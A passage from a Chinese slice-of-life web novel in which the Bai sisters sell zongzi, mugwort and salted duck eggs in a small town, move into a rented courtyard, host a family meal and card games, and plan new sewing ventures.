白春枝这才看清倒地的是个年轻小伙儿，不过穿得不太干净，摔了一下，看起来更脏了，头发也没怎么打理的样子，对于男士普遍寸头的现在，他的看起来有些过于长了。
“咋了咋了？”
“啷个绊倒了啊？”
“是被撞了吗？”
“啊！”
正摸不着头脑的众人七嘴八舌地胡乱猜测着，突然人群中传来一个大娘划破天际的尖叫，下一秒只听她怒骂。
“哪个砍脑壳的把我的裤儿都划烂了！”
“嚯哟！”
“……”
寻声看过去，挎着菜篮子的大娘正支起右腿，不用提衣角就能看见她的确良裤子口袋处被划了一道大口子，白色包包里布都露了出来。
一时间，又没断腿的小伙就不在大家关心的范围了，都纷纷在找小偷。
有人问大娘丢了啥，有人则是在检查自己的包了，毕竟来赶场就是要买点东西的，哪能不揣两个钱了。
“没丢也不能放了贼娃子啊，就让他在我们中间随便穿、随便偷哇？有那么自由不成？”
大娘气愤的大声说道，她没被偷是她裤子质量好，包包没被划穿，要是逮着了，她还要那小偷赔她了。
“嘿哟，你狗日的！”
“啊——”
最后这声撕心裂肺的惨叫，再次把众人的注意力拉回来。
一位白胡子的大爷正死死地踩住了那小伙儿的右手，这回不用大家多问了，地上那还泛着光的刀片摆明了小偷是谁。
在大伙还在愣神中，大娘先反应过来，直接上前踹了一脚，把本就蜷缩的小伙疼得都没反应了。
不过没人同情就是了，大小伙儿年纪轻轻不干人事跑来当三只手，没被打死都算好的。
剩下的就是大家自发帮大娘把人逮去派出所了。
“是你那颗胡豆？”
等人散了，集市恢复正常秩序，白春枝才小声的问着萧远山，他们坐在车上视野本来就高点，位置也正好能看见的。
“嘘……”
看到白母匆匆过来，萧远山食指放在唇边没多说什么，可眼底的笑意到底是没瞒过白春枝。
“春枝吓到了吧？”
“没。”
白春枝赶紧坐起身来摇摇头。
“唉……”
白母看了眼白春枝不太信，她都看到了，刚才女儿就靠在女婿身上，准儿是被吓到了。
没想到现在小偷都敢带刀片出来了，还好今天是人多逮了个现行，要是狗急跳
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墙，那刀子深一寸浅一寸的可没个数，白母拍拍胸口不禁念叨起来。
“这儿年生啊，真是啥人都有，又不是吃不饱饭的时候，还一天到晚不干正事。”
“幸好没出啥事。”
“是的嘛！”
白春枝又点点头附和着老娘，随后说起了他们镇上租的房子才让心有余悸的白母没一直念叨下去了。
他们今天是不准备在集市上摆摊卖的，打算去他们那条巷子碰碰运气。
一个是她们带的东西不多，本来也是打算卖给镇上人，而不是难得出来一次赶场的村里人。
二是现在距离端午还有一段时间，太早拿出来的话，大多是遇见的村里，无异于给自己培养竞争对手了。
这些草啊、叶子的，村里是最不缺了，到处都有，特别是艾草、菖蒲，大家也经常在用到，村里人要想学着拔点来卖还不容易了，单看有没有空的事。
白春枝可不想给自己找麻烦，做什么一锤子买卖。
到了巷尾，萧远山将东西给母女俩卸载了门口，便赶着牛车去送货了。
“妈，我们先在这儿摆一会儿，等下我去看看那个老婆婆在不在。”
屋子还没收拾好，也没什么好逛的，白春枝抬了两个凳子出来，母女俩就在屋檐下“等候”有缘人了。
清晨的巷子跟昨天没什么太大的差别，估计是逢场天的原因，除了上班上学的大人小孩儿，出门买菜的老太太要多了些。
白春枝正抬头寻觅先前那位老婆婆的身影。
没想到人家老太太眼神比她好，先看到了她们，也是白春枝娘俩坐在台阶上加上两个背篓一篮子的东西，确实要更明显些。
“诶小姑娘来卖东西了哇？”
老婆婆就住白春枝他们这房子不远，打听到卖山货的小伙要搬到这儿了，今天也下意识的朝这边看了一眼，没想到小两口动作还挺快的。
“嗯，阿婆，鸭蛋都在这儿了。”白春枝说着起身把每种都拿了点出来给老婆婆看，“粽子叶和粽子，还有艾草和菖蒲也摘了点。”
“土鸡呢？”老婆婆对这还比较执着的。
“收了两只乌骨鸡，您要的话，明天给您带来。”
“好好好，你等下哈，我再帮你喊点人来。”
老婆婆满意了，看着粽叶子挺新鲜的，她的鸭蛋个头也大，喊价和集市上的一样，算比较诚心的，连忙转身去喊街坊邻居都来。
不一会儿，来了几个老太太，看着跟老婆婆一样，都是在家带重孙顺带买买菜。
“诶，总算是看到有人卖新鲜艾草了，这几天就是想找点来给末娃子洗澡。”
“就是说啊，这天一下就热起来了，每天在外面猴一样，娃娃回来就说身上痒，我都他怕生痱子了。”
“我们那个这两天有点热伤风，吃了药也不见好，我准备给弄点药水澡来泡。”
“这叶子些看着也新鲜，难得看到这么好的哦？”
“……”
“嗨呀，你们是不晓得咯，我专门喊人家小姑娘才摘来的诶！”知道老姐妹都需要，老婆婆笑眯了眼，一点都不谦虚的居功了，“你们以为那么容易哦，喊你们下去找，怕是还走不动的。”
“哈哈是啊，老了动不了了。”
“就是，往年空了还去趟周边看哈，现在都不敢了，怕摔到哪儿了，一把老骨头根本伤不起。”
被说的几人也不生气，看到白春枝这儿有粽子叶和粽子，不想费劲的就直接要了包好的，见老太太拎走了一篮子鸭蛋，一听她们后面还有泡好的盐蛋直接大手笔的跟白母订了一坛子，懒得自己泡了。
9. 数钱
几个老太太乐呵呵的买好了，也引得周围的邻里们提着篮子凑了过来。
有的本来是要菜市或者多走两步去集市的，但早早逛了一圈回来的人也告知了大伙目前还没人卖粽叶了，更不要说艾草、菖蒲这些，就是到中药房还没这么新鲜了。
于是，三三两两的都买了点回去。
粽子销得最快，毕竟数量不多，一般是一捆十个的直接要了。
白粽最便宜两毛一个，其次是蜜枣的三毛一个，最贵的就是肉粽了，白春枝定价五毛也有人买，虽然没看到里面的肉丁，但粽子的个头很直观了，够大够实在，拎在手上都沉。
关键还不要票了。
但也不是每个人都图省事直接买包好的，不过再精打细算的婆婆大娘们也会带上一把粽子叶回去。
到后面没多少东西的时候，还有人问白春枝有没有糯米了，离谱的是，多客套上两句，就有不客气的打上白母家老腊肉的主意了，母女俩只能笑着说可以帮忙跟村里人换点。
一通忙活下来，不到两小时，带来的东西全给卖完了。
“回去再数！”
捏着大把的零钱，白母一下子就对她那几坛子的盐蛋有了信心，但秉持财不外露的想法，哪怕有些心急这趟到底卖了多少，也忍住了。
“行，我把背篓放进去点，一会儿阿远来接我们再拿。”
说完，白春枝和白母利索的收拾完了“战场”，门一锁，根本看不出刚才门口能围了那么些人的。
母女俩先去酒铺子打酒，几十斤的粮食酒不准备拿走，一会儿回去的时候顺路来取，然后又去隔壁干杂店买了点香料，最后才转身去逛集市。
原本白母还有些犹豫要不要再两个筲箕来备用，这下好了，信心膨胀的她直接拿了一个大筛子，正好够放洗好的鸭蛋。
“其实这些，你二嫂她老汉就挺会编的，原来还编筐筐那些来卖过，最近忙插秧，估计没空整。”
白母对自家两个儿媳挺满意的，亲家那边的事来往得多就越了解，这么一想，又念叨起白父其实也挺手巧了，农闲的时候还自己琢磨打板凳、编扫把呢！
“回去喊你老汉也去砍点竹子学起来，能编几个小筐筐拿来装鸭蛋就行。”
“……”
白春枝没想到老娘出来一趟，还给老父亲安排上活儿了，看来她是非常看好这盐蛋生意了。
没逛多久，该买的都买了，母女两人就返回小院等萧远山，也是到了这时候，白母这才有闲心来看看小两口租的这院子。
“这儿还有个天井了，看起来还可以。”
其实习惯了在自家院坝就可以直接晒谷子的白母，还是觉得这房子四面环绕不够敞亮。
可到底是在镇上，能找到一处带院子的房已经不错了。
瞧着几间房也够大，白母便没多讲其他，回头瞧了白春枝一眼也不敢问他们租的多少钱，怕自己听了心痛。
最后听说女婿已经申请了宅基了，白母点点头更是放心了，哪怕以后两人有了孩子，也不怕没地方住。
白春枝不知道老母亲还有这个担忧了，但她也没提前透露萧远山要买院子的事，白母肯定不能理解，要多花一大笔钱不说，特别是买完，他们村里的房子势必没那么快修的。
她先不费口舌了，到时候把事情推到夫君头上吧！
“都完了？”
萧远山送完货刚进门，见小娘子一见到他就笑得像只偷腥的猫，猜她们今天应该挺顺利的。
“对！”提到正事，白春枝来劲儿了，完了又催促着萧远山，“走，我们赶紧回去了，下午还有的忙了。”
路上没多耽误，到白家把白春芽叫上后，两姐妹就准备到萧家数钱了，白母先收了今天一篮子鸭蛋的本，也不掺和她们的小买卖了。
“姐，今天卖得挺快啊，咱们这些东西那么受欢迎吗？”
白春芽刚就听老娘提了一嘴，还是有点不敢相信，这不是村里的常见的东西，镇上的人竟然还抢着买了，怎么那么不真实啊？
“是啊，你没看我们两个背篓都空了么，还就只卖了早上那一小会儿呢！”
白春枝笑眯眯的点头，那一大包零钱还在她身上了，抬头朝妹妹拍了拍包，这会儿她就有些迫不及待想要数一数了。
到家，白春枝让萧远山先把饭做上，自己跑房里拿了个空白的小本出来，和妹妹的生意虽小，她也是要记账的。
把本子和笔递给白春芽，让她写上日期，然后是几个品类、数量，白春枝这才将大把的零钱倒在桌上。
粽子的钱比较好算，分别是两毛三毛五毛，每种二十个，一共就是二十块。
因为糯米蜜枣红豆腊肉都是白春枝出的，这一部分姐妹俩拎出来一会儿单独算。
剩下就是箬竹艾草菖蒲这两背篓的无本买卖，白春芽和姐姐对视了一眼，心情都有些激动，桌上还有不少零钱了，全是她们今天赚的了。
“姐，你有多少？”
白春芽数的是一毛，捏在手上厚厚的一叠，很有存在感，不过她更想知道姐姐那边的，她看到还有几张一块呢！
“二十三块六！”
“我这儿有五块八！”
心里默算了一下，白春芽当即就咧开嘴笑了，简直不敢相信，她们就靠这些叶子草居然卖了二十九块四。
一人一天都有十多块，要是卖上十天半个月的话……
只粗略想了下白春芽都要尖叫了，比工人工资还要高啊！
“你啊——”
白春枝看妹妹眼睛快笑没了，哪能看不明白她在想什么了，无奈的摇摇头，净做美梦呢！
这第一天，她们主要是占了个先机。
并且，箬竹艾草这些她要价不高，两毛一斤，其实也是喊不上价，不过是镇上人买东西爱卡着量来，好多都买不上一斤，按着家里的人口数着数了，只要一把的就收个一毛，倒是比一斤一斤卖多赚点。
接下来就是粽子了，白春枝快速算了下成本，由于大部分是自家的存货，糯米一毛多一斤，比大米贵点儿，但所有东西总共都要不了几块，也是净赚十多块。
比较起来的话，包粽子虽然费些功夫，可数量要是上去了，那收益能直接翻倍的。
想着，白春枝就把后面的计划跟妹妹讲了下。
无本买卖还是要做，不过她们不能贪多，还是两背篓的箬竹加点艾草和菖蒲，有个
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百来斤差不多了，镇上的人不少，细水长流就行。
只粽子肯定要多加些的，毕竟是赶着端午这趟。
鉴于大家对肉的喜爱，白春枝准备肉粽做六十个，两捆二十，说不定遇到三个大客户就没了，白粽没什么特别的，都能做，还是二十个，蜜枣的甜口也不错，不过四十个足够了。
白春枝本来想让妹妹把今天赚的投到粽子的本钱上来，这样她们就对半分。
但白春芽觉得什么都是姐姐这边出，明显是让自己占便宜了，她有那无本的买卖就够了，一样能攒钱，粽子就不来分一杯羹了。
“……”妹妹这样说了，白春枝也不再跟妹妹一直扯这些，最后决定道，“那姐每天给你算包粽子的工钱。”
“好！”
这回白春芽没再拒绝了，很是干脆的点了头，然后开心的把自己那份钱揽了过去。
午饭后，姐妹俩睡了一觉才开始动工的。
有了昨天的打底，先做什么再干什么，白春枝心里更有数了。
糯米中午萧远山已经帮她收了两大袋在家了，因他经常卖山货顺带收点东西，大家也没多问他们是要做什么了，还以为帮镇上那些外地客商带的。
白春枝泡上糯米就出门跟妹妹汇合，白春芽还特地换了个大背篓。
两人今天要走得稍远点去摘箬叶，总不能可着一个地方薅了，她们打算把这小生意做到端午前了，还是得有计划的来。
仍是“全副武装”的姐妹俩，摘完直接在河边洗了，有了经验后，速度上快了不少。
晾好，白春枝在家做饭准备配料，白春芽回家吃了饭和白母一块儿过来的。
白母她们那边三个人，比白春枝两姐妹更快，家里的坛子全给泡了鸭蛋，还有多。
“那明天还是帮您给带去卖了？”白春枝问白母。
“对。”白母点头，手上功夫不落下，想到那几百个鸭蛋，还有心情开玩笑了，“再泡是泡不了了，你弟娃儿回来都要没地方睡了。”
“……”
猜到白母是灶房放不下，把坛子全都挪床底下了，这一直以来的习惯，白春枝真是不晓得说什么好了。
不过把多的鸭蛋带去镇上卖，挣个跑路费也行，反正他们最近是天天都要去镇上的，顺手的事。
接下来的摆摊卖货，白春枝没让白母跟着跑了，叫了妹妹一起，都是些热情的大娘们，倒不需要人镇场子什么的。
两姐妹同第一天一样，先在门口摆上小摊，昨天来晚的街坊们陆陆续续出来买了后，还剩点儿。
白春枝不再坐等了，打算“主动出击”，这招她是看萧远山学的。
萧远山卖山货并不是走叫卖式路线。
一来他卖的东西紧俏，价格上就能拦住不少人，不合适走街串巷的喊。
二来他虽然话少，却是很会看买主的，哪些是真正需要的才会上前问一句，像是给酒店送些野味就他自己找的。
白春枝倒没那本事立马能精准找到她的需求客户了，不过换条街去推销推销还是可以的，草啊叶子的又不贵，婆婆大娘们总会留心多看两眼。
只要感兴趣的来瞧上那么一眼，这生意不就来了么！
10. 搬家
此后几天，两姐妹一直是这个推销策略。
到了先摆会儿摊儿，一两个钟头后，剩下的东西姐妹俩再一人一个背篓跑各个街道叫卖，镇上那么大，换着地方的跑，总是能卖出去的，偶尔被问得多了，粽子数量也会相应的增加些。
大概是这“游击战术”确实有效。
两人每天不仅结束得挺早，并且到目前为止，白春枝和白春芽特别留意下，都还没在镇上看到有和她们一样要做端午生意的。
现在白家门口每天固定的一个时间点，她们这不怎么起眼的小买卖在短短两三天竟小范围的有了些口碑和部分稳定的客流了。
像之前那个老婆婆领着她那帮老姐妹们，基本上想要买点啥都会先来问白春枝能不能从村里带了，老一辈的总是对村里直接收上的东西要更相信些。
然后就是下午撸叶子、晚上包粽子。
每一天的事儿安排得满满当当，虽然累，可看着小钱钱越来越多，姐妹俩是恨不能这买卖能一直做下去。
五月的天，气温出奇的高了好一阵，萧远山已经将床拉回来安置好了，屋子也规整完了，那差不多可以准备搬家了，是不能再拖了，后面怕是闷了一场大雨。
这些日子跟蚂蚁搬家似的，其实拉走了不少，最后日常用的物品需要一次搬完，不然晚上没法睡。
“那我们明天停一天，刚好附近几条街都跑完了，给大家一点消化的时间。”
白春枝将今天的收入一笔一笔分好，抬头对妹妹说道。
“好，那我回去跟大哥二哥说，让他们明天来帮忙。”
钱包越来越鼓，少了一天不去也没事，白春芽爽快地点头，就当是休息了。
第二天一早，朝霞满天，又是个大晴天了，依旧没什么要下雨的迹象。
搬家的日子是老爷子找人看过了，只是这事是偷摸去的，也就没旁人知道他们是买的房子了。
有牛车，又有白家兄弟齐上阵，不过两三趟，就将该搬的东西一股脑的全卸在小天井。
“哎哟哟，赶紧问哈你们妹夫这些都是该放哪儿的，一件件的给归置好了哈！”
娘子军们是第一趟车就先过来了，连带家里几个小娃娃也一起来凑热闹了，都知道姑姑搬新家有好吃的，白母本来在灶房看那煤炉子怎么用了，听到几人说话的声响出来，赶紧指挥道。
搬家就是杂事不断，好在他们人也多。
几人先把老爷子那心爱的躺椅给抬到了屋檐下看着牛车，让他跟亲家公两个人先喝茶。
白父原本还有些不好意思，想去搭把手，但老爷子是个能说的，问起了家里田里的情况，他只能陪着喝两口。
与老爷子的悠闲不同，屋里屋外都还挺忙活的了。
萧远山领两个大舅哥继续搬东西。
将一个大泡菜坛子和两小缸子的糖蒜和豆瓣儿搬进灶房时，才看到娘子军们在里面更是热闹。
今天搬家，再怎么忙自家人也得摆一桌了，加上这几天白春枝可是挣了不少钱，她打算好好做几个硬菜出来。
先前留的那只乌骨鸡一早被萧远山杀了整理干净了才拿来的，这会儿已经在砂锅里炖上了。
另外还有只大公鸡，一半拿来烧莴笋、一半直接白切了吃。
鸭子白母也拿了一只来，本来是想炖老鸭汤的，但已经有鸡汤了，就暂时没做，等晚上弄其他的。
还有鱼了，还好萧远山是去换的黄辣丁，一条条小鱼不涨肚，不然像是花莲草鱼那种大只的，那今天就算准备多了。
猪肉是合适老人和小孩儿的圆子汤。
最后再炒两个素菜，完全够了。
三个大男人搬上搬下的，动作还挺快了，见灶房里还有的忙，又挤不进，干脆带着偷嘴的小孩儿们出去逛逛。
等白春枝这边做好了，白母正准备叫白春芽出去寻寻人，一群人踩着饭点回来了，听着几个小的开心得尖叫声不断，不用猜都知道，准是又给买零嘴了。
白母笑骂了几句，让几人赶紧摆桌子了，马上就上菜。
大中午的太阳正当头，就没把八仙桌搬到小天井，在堂屋一大家子也是够坐的。
“开个灯吧？”
白春枝说着，顺手拉了下开关线，老房子就是这样，有屋檐遮阴不晒人，可屋子里头相对就没那么亮了。
“诶，镇上就这点好了，你们以后用电就方便了。”
这话，白二哥是说萧家老屋了，村里可就他们家没通电的。
上前年，终于轮到南河村拉电线了，原本计划是家家户户都通电的，只是萧家附近搬走的太多，他家说不准什么也不住那边了，再单独拉两根电桩过去实在是有点浪费资源。
所以，最后协商的结果就是萧家暂时不通电。
当时白春枝和萧远山才刚来不久了，根本不懂什么电不电的，白白错了那次机会，后面再想让人来通电的话，花费更大。
好在乐观的两人觉得有煤油灯也挺美了。
现在看着白织灯暖黄的光亮倾斜而下，整个屋子瞬间增色不少，白春枝再次肯定了夫君执意要搬到镇上的决定。
八仙桌配的长凳，十个人加三个可以抱在身上的小孩儿，完全够坐了。
“都挤到坐一下哈，自家人就不用客气了，筷子伸长点就是了。”
今天本该是白春枝来招呼大家，不过一家人不说两家话，又有老娘在，她也乐的躲在白母后头。
白母发话了，最开心的是大毛二毛，这俩是会说话的，一个坐爹腿上一个坐娘腿上，伸着小手“这个”、“那个”的点着自己要吃的，连小毛也“咿咿呀呀”跟着哥哥们闹腾。
小孩儿们一人一碗圆子汤好打发，大人这边，白春枝拿出了老爷子珍藏的好酒。
“我今天也跟着喝一杯吧！”
白春枝拿着酒瓶，正不知道要不要给老爷子倒了，他老人家最近属于是半戒酒的状态，想来今天也是高兴了，主动开口要喝，但她没多倒，差不多一两的样子就收手了。
不喝酒的这边，白春枝让萧远山买了几瓶北冰洋回来。
“嚯，你这是拿我们当孩子了！”
白春枝才开了两瓶放桌上，就被白大嫂阻止了，一旁的白二嫂也连连摆手。
两个大人不要，真小孩儿大毛和二毛看到鲜艳的颜色，又是玻璃瓶，一猜就是好喝的，纷纷伸手要了，“姑姑”、“姑姑”叫得很是顺溜。
“那给他们倒点儿？”
甜甜嘴的东西，白春枝觉得喝点没什么，但这饮料有点凉，她还是先问问俩嫂子。
最后是白春芽和小孩儿们分了两瓶。
这一顿，又是鱼又是肉，大人小孩儿吃得都很满意，特别是在白春枝强调了一下，让大家放开肚皮吃，别给他们留，家里人不多的，剩多了不好，惹得两个哥哥大笑，
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拍着胸脯称包在他们身上！
吃过午饭，白春芽被派去给弟弟白冬子送饭。
他的学校就在镇上，离得不远，白春枝本想中午就喊弟弟来的，刚好认下门，免得姐姐家都找不到，但又怕耽误他学习，今年白母是想要他努力一把考个中专，家里难得有个读书还行的，可不能浪费了。
剩下的几人，在灶房收拾着，手上的动作不停、嘴巴也没闲着，大家聊起了住镇上也有镇上的好。
单说她们这个粽子生意，这不就可以在家边煮边卖了么，有多少需要的都能马上煮了。
“诶这说的，我都想马上卖咱们的鸭蛋了，卖掉了，趁过节前还能再泡一轮。”
难得白大嫂也发言了，她和白大哥差不多的，都是闷头干活儿、话却很少的性子。
先前家里那个氛围，兄弟俩话赶话的还打了一架，虽说没伤感情，却也是将问题摆在了明面上了，都是穷给闹的，眼看娃娃们一天天大了又没别的办法，只能下狠力气干活儿，没想到如今这事一件件的都了转机。
主要白大嫂不像白大哥，想得比较简单。
白家兄弟自己打完架说一说和好就和好了，可外人看到的又不一样了。
这两人为分家的事动了拳头，完了弟弟还被逼出去打工，怎么着都像是老大家的不太能容人的样子。
白大嫂眼下就盼着，赶紧能卖盐蛋了。
家里情况要是能好些了，有个进项，老二也就不用出去了，她还不知道二弟妹后面也是要跟着去打工的，就怕家里人心生埋怨。
这年头，不是真过不下去了的，又有多少人愿意背井离乡呢？
白大嫂话音刚落，大家目光一下又集中在了白母身上，家里大小事基本都是老娘拿主意，除了老二执意要出去，几个子女不听的时候少。
白母看着几人，哪能不懂她们的想法，只是她稍稍迟疑了下没立即开口。
“先说，我这儿是都可以啊。”
白春枝率先表态，她这边反正宽敞，又是在镇上，像夫君之前考虑的将这里作为村里镇上的落脚一样，很是方便，家里要有需要的话，搭伙卖都行，跟之前每天一筐鸭蛋其实也差不多。
“行。”
白母想了想最终是点了头，然后把后续的安排也说了。
家里派白春芽每天过来帮姐姐包粽子，两人需要的那点粽子叶啊艾草什么的，家里三人抽空就帮忙弄了，一早就送来，连带盐蛋一起，不用她们来回的跑。
“啊？那我姐还给我包粽子的钱了，我不用去摘箬叶了好么？”
白春芽一回来就听白母少给她派活儿了，她不知道前情，有些不安地看了眼两个嫂子，不太敢答应。
这是让她领两份钱么？
“……”白母看了眼进来就呆愣愣的小女儿，顿时想点点她的榆木脑袋了，“你以为光收钱，不干活啊，让你来的任务就是给我们把盐蛋卖了，要不换你大嫂和二嫂来，每天跑几趟不浪费时间呀？”
白春枝给开包粽子的钱，白母是知道的，她帮着干了两天，也心安理得收了工钱的。
换白春芽去卖鸭蛋，是有两头考虑了。
一来，家里有孩子地里的事也不能丢下，白母领着两个儿媳在家更利索些，二来，白春芽这两天跟着白春枝在镇上估计是跑熟了，她是放心的。
白母解释完，再看几人，都没意见，这事就算定下了。
11. 打牌
商量好后，一家人也不慌着走了。
他们这儿走亲戚通常是玩一天，还有一顿晚饭，没什么急事的话，就没有说吃了午饭直接抬屁股走人了，不然以为是主人家没给招待好呢！
“那我们一会儿早点吃夜饭。”
白春枝起身前，对两个嫂子说了下，也算是给她们一个定心丸，要不还得念着那点生意经了。
说完，解下围腰，白春枝进屋拿了一副麻将和一盒长牌出来。
今下午的娱乐，她安排的是打牌，两种都给备齐了。
“来来来，这还是老爷子的老古董了，看你们谁要打的就自己圆上啊？”
白春枝先将老爷子收的一副竹子刻的麻将拎上了桌，这玩意儿还是用一个木盒装着的，看起来沉其实很是轻便，铺上桌布倒出来，每一个瞧着也是格外的小巧精致。
关于打麻将，白春枝也学着会打了，只是她还不会算账，需要有人指导才行，主要是家人少，就下雨天偶尔在家打三家，没什么实战经验。
而长牌就是斗十四的纸牌。
原来白母爱在家玩，白春枝为了今天专门新买的一副，不过长牌的点子数看着有些复杂，她就没专门去学了。
白春枝的招呼，娘子军还没怎么回应，刚收拾完外头正坐在八仙桌旁吹牛的几人立刻行动了，把毛孩子赶到一边儿玩去，自发的找起了搭子。
因为自家人也不怎么玩钱，白大嫂和白二嫂没扭捏点了点头就确定是要上桌的。
最后组好的局是，娘子军这边加一个老爷子打麻将，几兄弟和白父打长牌。
白春枝和妹妹白春芽不来。
两人给大家都倒了杯菊花茶后，又回灶房研究了下煤炉子，想看下明早用这个煮粽子合不合适。
“我看这炉子还是有点小。”
白春枝也是习惯了烧柴的大灶台，煤炉子拿来烧水炖汤是方便，不用一直去看着火，只是她们粽子得多煮些来卖才行，这怕是赶不上趟。
“我听你姐夫说，车站附近那些卖早点的，煮个茶叶蛋什么的就用这个，一锅能卖好久……”
白春枝将重新接了水的烧水壶放了上去，说起了萧远山跟她讲的这煤炉子的大用处。
“姐，你说我们能卖茶叶蛋么？”
白春芽一听姐姐说起这个眼睛都亮了，说起来，她还没吃过茶叶蛋了。
她们这儿很少有人卖是一回事，关键这鸡蛋是仅次于肉类的，并不便宜。
平日很少有人会买来直接吃，那多奢侈啊，大多数是买回去给家里的老人小孩补一补，或者家里有坐月子的才会多囤点鸡蛋。
不过姐妹俩这段时间在镇上逛多了，也发现，大家比从前是更舍得在吃的上面花钱，也可能是因为很多东西不用票了，试试说不定会有市场。
白春枝点点头是赞同的，但具体怎么去卖还不急，毕竟鸡蛋也是要本钱的，她们先把端午这阵子过了再说。
煤炉子上热着水，两姐妹就从灶房出来去看两桌人打牌了。
麻将桌在八仙桌上，清脆的洗牌胡牌声，听着就很感觉。
从目前牌桌上几方的竹片筹码来看，还得是老爷子和白母这种老将了，两位已经稳稳地占了上风，而大嫂和二嫂两个小媳妇，一个眉头紧皱，另一个抱着二毛时不时的拍两下，也显得手忙脚乱。
屋檐下的长牌桌就稍微有点惨了。
几个大男人本来块头就大，那临时的牌桌是老爷子喝茶的竹编小茶几，也不高，坐在小凳子上，大长腿都有些无处安放。
注意力在牌面上的几人，其实也没怎么在乎这些细节，只是大毛二毛不知道什么时候不在天井玩了，两兄弟摇摇摆摆像只大鹅似的凑了过来。
两个莽小子什么都不懂的，看着热闹上手就要抓牌，差点把桌子掀翻了。
“哎哟，你两个哦——”
白父躲了下，护住了自己的牌，孙子都来不及训，仔细看了两眼点数，才谨慎地吃下一分。
“嗨呀呀，走，姑姑带你们吃糖去！”
白春枝把两个小的哄走，白春芽也把睡在亲娘怀里的小毛抱走，不影响他们打牌。
姐妹俩进了西厢房。
这老房子的格局还挺大了，先前空荡荡的不觉得，家具全放好了才显出来，进门是一张小圆桌，旁边是五斗柜，中间白春枝本来想放个屏风将睡觉的地方和会客区隔一下，但没看到合适的。
白春芽转头见里头竟还有一道小门，有些惊奇地回头，用眼神询问姐姐。
“诶，你先将小毛放下好了。”
白春枝看妹妹一脸惊讶哪能不知道她的好奇点了，村里确实还没这种类似套房的格局，让她把小毛放在窗边的矮塌上，才指着里头继续说道。
“那个里间是给改了下的，之前好像集中整了排水。”
屋里就排水，洗漱什么的就挺方便了，说着，白春枝又伸手拉了一下电灯线，这里面也有一个十五瓦的小灯，她现在对电灯的兴趣正浓。
“姑姑！姑姑！”
“糖，糖糖，吃糖糖！”
一进门就被忘记的大毛二毛见白春枝进了小房间，忙出声提醒姑姑他们要吃糖的。
“哦哦，来了来了！”
还忘了孩子的事儿了，白春枝让妹妹自己看，回身去斗柜给大毛和二毛找糖。
白春枝从里面拿出了一包叮叮糖，这也叫白麻糖，是用老法子做的麦芽糖，有的里面会放白芝麻，因为比较黏，需要用小锤子敲开，一听到有“叮叮当当”的声音，就知道卖糖的老爷爷来了。
还是到了镇上，白春枝才有机会买到了，原来在村里只有过年那阵才会卖到他们乡下来。
这东西好吃，却也难遇到一次。
说来怎么做也不难，就是把麦子泡发芽，再慢慢熬制，家家都有麦子，却没谁专门拿来熬糖，有这功夫还不如拿来磨面了，偶尔能买点来甜甜嘴也够了。
大毛二毛更不用说了，一人嘴里先吃一块儿，手上再拿一块儿，明明讲了这东西容易化了黏手，俩孩子就是不愿意放下。
也是，比起外面白春枝今天拿来招待大家的瓜子、花生，小孩儿手小自己剥不开，还是糖最受他们喜欢。
“咿呀，你俩这吃得是一脸脏！”
白春芽看了一圈姐姐的房间，也坐回来吃点小零嘴，低头一瞧俩侄儿，真是没眼看了。
“一会儿给他俩洗洗手。”
又到了些热水在桌上凉凉，白春枝才笑着说道，小孩儿么，可不就是这样。
大毛二毛听懂俩姑姑在说他们，也只“嘻嘻”的笑。
兄弟两个笑着笑着不知道想到了什么，声音越来越大了，过会
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儿，俩小人儿再对视一眼，还晓得偷偷捂嘴巴了，怕把小毛吵醒了。
等把两个大的也哄去午睡，白春枝和白春芽终于能安生地坐下来小声聊天。
不过干巴着聊，总觉得手上少了点东西，白春枝又起身把准备给老爷子做的新铺盖拿来缝一下。
“听说那个缝纫机踩起来可快了。”
白春芽帮姐姐整理着另一边的面料，又说起相关话题。
“踩出来的针脚细密，线条也直，就我们之前在供销社看的那些都是用缝纫机踩出来的。”
村里其实也有条件好点的人家，聘礼、陪嫁什么的，就有缝纫机，只是这跟白家没什么关系，姐妹俩还没摸过了，只听过那玩意儿很厉害。
“前段时间，你姐夫听外地客商讲，那缝纫机已经不缺货了，都在降价了呢，一百多一台还不用票，我在想，这儿赚了钱要不要买。”
“姐，你真想买啊？”
白春芽听姐姐这么一说，想着自己攒的钱，也跟着心动了??，她平常在家的时间多，要有一台缝纫机的话，那不得干好多事了。
白春枝也是这样想的，她以后大部分时间都会在这镇上住着，能上山的时候肯定少了，来回不方便，等这端午的买卖过去，她每天在家指定很无聊了，不如提前找点事来做。
手工缝衣裳，她是打小就会的，不过是款式上的差别。
在白春枝看来，现在的衣服裤子就是他们从前的里衣了，而且还要更简单些。
当然了，只要克服了较为修身心里上感觉有些别扭的问题，那也确实是省布料的做法。
平日的缝缝补补不算，去年白春枝试着给老爷子做了一件马褂，手艺才拿到了明面上来。
马褂不太复杂，是最基础的一款，料子也不是时下流行的的确良，就是普通的棉麻，老爷子却很喜欢了，初秋开春都在穿。
白春枝想着这缝纫机，能学会的话，怎么也算是门技术了，肯定是不会亏的。
“哦对了，你不是想要去南方么，那我还是尽早买吧，你也能先来学一学。”
白春枝手上没停，指尖飞舞不断地穿针引线，又跟妹妹讲起了萧远山从外面听来的消息。
“那些出去过的人带回的消息也说是服装厂还挺缺人的，估计女孩子大多都是进厂，就是跟人学做衣服吧？”
“嗯，供销社里的新款式，都是南方过来的呢，比咱们这儿的时兴。”
村里人很少有直接买成衣的，一般都是扯布自己做，不过市面流行什么，她们还是喜欢去供销社看看，所以，白春芽对这些如数家珍。
“那是得学一下了，到时候上手快，也容易留下来些。”
出门在外，大家都是冲着打工赚钱吃饱饭了，想来也存在竞争的，白春枝不太放心的念叨了下，越发觉得妹妹挺有勇气了。
“那姐姐要教教我！”
白春芽倒不是说缝纫机了，这个俩人目前是同一水平都没摸过，只是姐姐手一直比她巧点儿，就是手上的铺盖卷儿，白春枝的收边就是要好看些，不比那踩出来的差。
“行啊，你想学什么，我们一起琢磨下。”
见妹妹是真想跟着她学，白春枝点点头应下了，并不藏私，她其实会的也就是基本针法，不过是熟练点儿，要论花色款式，还是妹妹白春芽更有见解些。
12. 香包
姐妹俩说说笑笑，白春枝很快缝好了老爷子的铺盖，已经是下午了也不急着洗，新的这床厚，暂时不急着用。
“这还有点布头子……”
抬眼看了下时间，距离做饭又还早，白春枝正考虑着要不要再做个什么。
“诶，姐，你看我们缝点香包会有人买吗？”
白春芽随意挑了几块花花绿绿的边角料，大致摆了下，先想到了主意。
“应该可以吧？”
白春枝瞧着妹妹手上的几块布料，有些不确定，但这香包什么的，肯定还没人卖了。
